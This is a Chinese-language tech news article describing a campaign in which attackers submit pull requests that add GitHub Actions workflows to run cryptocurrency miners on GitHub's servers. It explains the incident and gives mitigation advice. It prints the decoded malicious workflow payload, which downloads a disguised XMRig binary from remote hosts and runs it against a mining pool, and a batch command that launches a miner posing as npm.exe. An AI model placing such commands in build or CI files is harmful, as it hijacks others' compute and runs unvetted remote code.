黑客用 GitHub 服務器挖礦,三天跑了 3 萬個任務,代碼驚現(xiàn)中文!

大家好,我是你們帥氣的喵哥!
加密貨幣價格一路高漲,顯卡又買不起,怎么才能 “廉價” 挖礦?
黑客們動起了歪心思 ——“白嫖” 服務器。
給 PC 植入挖礦木馬,已經(jīng)無法滿足黑客日益增長的算力需求,如果能用上 GitHub 的服務器,還不花錢,那當然是極好的。

而且整個過程可能比侵入 PC 還容易,甚至都不需要程序員上當受騙。只需提交 Pull Request(PR),即使項目管理者沒有批準,惡意挖礦代碼依然能夠執(zhí)行。
原理也很簡單,利用 GitHub Action 的自動執(zhí)行工作流功能,輕松將挖礦程序運行在 GitHub 的服務器上。
早在去年 11 月,就已經(jīng)有人發(fā)現(xiàn)黑客這種行為。更可怕的是,半年過去了,這種現(xiàn)象依然沒得到有效制止。
GitHub 心里苦啊,雖然可以封禁違規(guī)賬號,但黑客們玩起了 “游擊戰(zhàn)術(shù)”,不斷更換馬甲號逃避 “追捕”,讓官方疲于奔命。
就在幾天前,一位荷蘭的程序員還發(fā)現(xiàn),這種攻擊方式依然存在,甚至代碼里還出現(xiàn)了中文。

那么,這些黑客是如何植入挖礦程序的呢?一切要從發(fā)現(xiàn)異常的法國程序員 Tib 說起。
PR 異常讓程序員起疑心
去年 11 月,Tib 發(fā)現(xiàn),自己在一個沒有參加的 repo 上收到了 PR 請求。而且在 14 個小時內(nèi)就收到了 7 個,全是來自一個 “y4ndexhater1” 的用戶,沒有任何描述內(nèi)容。

令人感到奇怪的是,這并不是一個熱門項目,Star 數(shù)量為 0。

打開項目主頁發(fā)現(xiàn),內(nèi)容是 Perl 項目的 github action、circle ci、travis-ci 示例代碼集合,整個 README 文檔一團糟,根本不像一個正經(jīng)的開源項目。

然而就是這個混亂又冷門的 repo,居然在 3 天里被 fork 了 2 次。
一切都太不正常了,讓人嗅到了一絲不安的氣息。
嘗試 “作死” 運行
本著 “作死” 的精神,Tib 決定一探究竟。
經(jīng)過那位可疑用戶的操作,Tib 所有的 action 都被刪除,在工作流里被加入了一個 ci.yml 文件,內(nèi)容如下:

當 Tib 看到 eval “$(echo “YXB0IHVwZGF0ZSAt 這一行內(nèi)容后,立刻從沙發(fā)上跳了起來,他意識到事情的嚴重性:有人在入侵他的 GitHub 個人資料!
這串看似神秘的字符,其實是 base64 編碼,經(jīng)過翻譯后,得到了另一段代碼:
apt update -qq
apt install -y curl git jq
curl -Lfo prog https://github.com/bhriscarnatt/first-repo/releases/download/a/prog || curl -Lfo prog https://transfer.sh/OSPjK/prog
ip=$(curl -s -H 'accept: application/dns-json' 'https://dns.google/resolve?name=poolio.magratmail.xyz&type=A' | jq -r '.Answer[0].data')
chmod u+x prog
timeout 4h ./prog -o "${ip}:3000" -u ChrisBarnatt -p ExplainingComputers --cpu-priority 5 > /dev/null
前面兩行不必解釋,有意思的地方從第三行開始,它會下載一個 prog 二進制文件。
為了安全起見,Tib 先嘗試獲取信息而不是執(zhí)行,得到了它的十六進制代碼。
$ objdump -s --section .comment prog
prog: file format elf64-x86-64
Contents of section .comment:
0000 4743433a 2028416c 70696e65 2031302e GCC: (Alpine 10.
0010 322e315f 70726531 29203130 2e322e31 2.1_pre1) 10.2.1
0020 20323032 30313230 3300 20201203.
Tib 也考慮過反編譯,但是沒有成功。
不入虎穴,焉得虎子,Tib 決定嘗試運行一下。
要執(zhí)行這一大膽而又作死的任務,防止 “試試就逝世”,Tib 首先斷開了電腦的網(wǎng)絡鏈接,并選擇在 Docker 容器中運行。
答案終于揭曉,原來這個 prog 是一個名為 XMRig 的挖礦程序。
$ ./prog --version
XMRig 6.8.1
built on Feb 3 2021 with GCC 10.2.1
features: 64-bit AES
libuv/1.40.0
OpenSSL/1.1.1i
hwloc/2.4.0
當時 XMRig 的最新版恰好是 6.8.1,和上面的版本參數(shù)符合。不過用 SHA256 檢測后發(fā)現(xiàn),這個 prog 并不完全是 XMRig,Tib 預測它可能是一個修改版。
實際上,可能被攻擊的不止 GitHub,安全公司 Aqua 推測,像 Docker Hub、Travis CI、Circle CI 這些 SaaS 軟件開發(fā)環(huán)境,都可能遭受這類攻擊。
在這個攻擊過程中,會派生一個合法的 repo,負責將惡意的 GitHub Action 添加到原始代碼。然后,黑客再向原始 repo 提交一個 PR,將代碼合并回原始 repo。
下載的挖礦程序會偽裝成 prog 或者 gcc 編譯器,通過提交 PR 在項目執(zhí)行自動化工作流。此時服務器將運行偽裝后的挖礦程序。

這些攻擊者僅一次攻擊就可以運行多達 100 個挖礦程序,從而給 GitHub 的服務器帶來了巨大的計算量。
據(jù) Aqua 估計,僅在三天的時間里,挖礦黑客就在 GitHub 上有超過 2.33 萬次 commit、在 Docker Hub 上 5.8 萬次 build,轉(zhuǎn)化了大約 3 萬個挖礦任務。
可以防范但很難根除
這種攻擊甚至不需要被攻擊的倉庫管理者接受惡意 Pull Request。
只要在.github/workflows 目錄里面的任意.yml 文件中配置了在收到 Pull Request 時執(zhí)行,來自黑客的 Action 就會自動被執(zhí)行。
如果你沒有使用這個功能,那就不用擔心啦,黑客大概也不會找上你。
需要用到這個功能的話,可以設置成只允許本地 Action 或只允許 Github 官方及特定作者創(chuàng)建的 Action。

將情況反饋給客服后,GitHub 會對惡意賬號進行封號和關(guān)閉相關(guān) Pull Request 的操作。
但惡意攻擊很難被根除,黑客只需要注冊新的賬號就可以繼續(xù)白嫖服務器資源。
攻擊還在繼續(xù)
我們從最近一次攻擊中發(fā)現(xiàn),黑客將挖礦程序上傳到 GitLab 并偽裝成包管理工具 npm。

打開這個可疑的 nani.bat,可以看到:
npm.exe --algorithm argon2id_chukwa2
--pool turtlecoin.herominers.com:10380
--wallet TRTLv3ZvhUDDzXp9RGSVKXcMvrPyV5yCpHxkDN2JRErv43xyNe5bHBaFHUogYVc58H1Td7vodta2fa43Au59Bp9qMNVrfaNwjWP
--password xo
這一次黑客挖的是烏龜幣 *(TurtleCoin)*, 可使用 CPU 計算。按當前價格挖出四千多個幣才值 1 美元。

Github Actions 的免費服務器可以提供英特爾 E5 2673v4 的兩個核心,7GB 內(nèi)存。
大致估算單臺運行一天只能獲利幾美分,而且黑客的挖礦程序通常只能在被發(fā)現(xiàn)之前運行幾個小時。比如 Docker Hub 就把自動 build 的運行時間限制在 2 個小時。
不過蚊子再小也是肉,黑客通過尋找更多接受公開 Action 的倉庫以及反復打開關(guān)閉 Pull Request 就能執(zhí)行更多的挖礦程序。

△同一黑客賬號至少攻擊了 95 個 GitHub 倉庫
正如 Twitter 用戶 Dave Walker 所說的,如果你提供免費的計算資源,就要做好會被攻擊和濫用的覺悟。挖礦有利可圖的情況下這是不可避免的。

據(jù)報道,受害的不止 GitHub,還有 Docker Hub、Travis CI 以及 Circle CI 等提供類似服務的持續(xù)集成平臺。
這一亂象不知何時才能結(jié)束,唯一的好消息可能就是,挖礦的黑客似乎只是針對 GitHub 提供的服務器資源,而不會破壞你的代碼。
但是 GitHub Action 的漏洞不止這一個。還有方法能使黑客讀寫開發(fā)者的倉庫,甚至可以讀取加密的機密文件。

去年 7 月,Google Project Zero 團隊就已向 GitHub 通報漏洞。但在給出的 90 天修復期限 + 延長 14 天后,GitHub 仍未能有效解決。
對此,我們的建議是,不要輕易相信 GitHub 市場里的 Action 作者,不要交出你的密匙。
參考鏈接:
[1]https://therecord.media/github-investigating-crypto-mining-campaign-abusing-its-server-infrastructure/
[2]https://dev.to/thibaultduponchelle/the-github-action-mining-attack-through-pull-request-2lmc
[3]https://blog.aquasec.com/container-security-alert-campaign-abusing-github-dockerhub-travis-ci-circle-ci
[4]https://twitter.com/JustinPerdok
[5]https://bugs.chromium.org/p/project-zero/issues/detail?id=2070
獲取更多優(yōu)質(zhì)文章,點擊關(guān)注 ??????
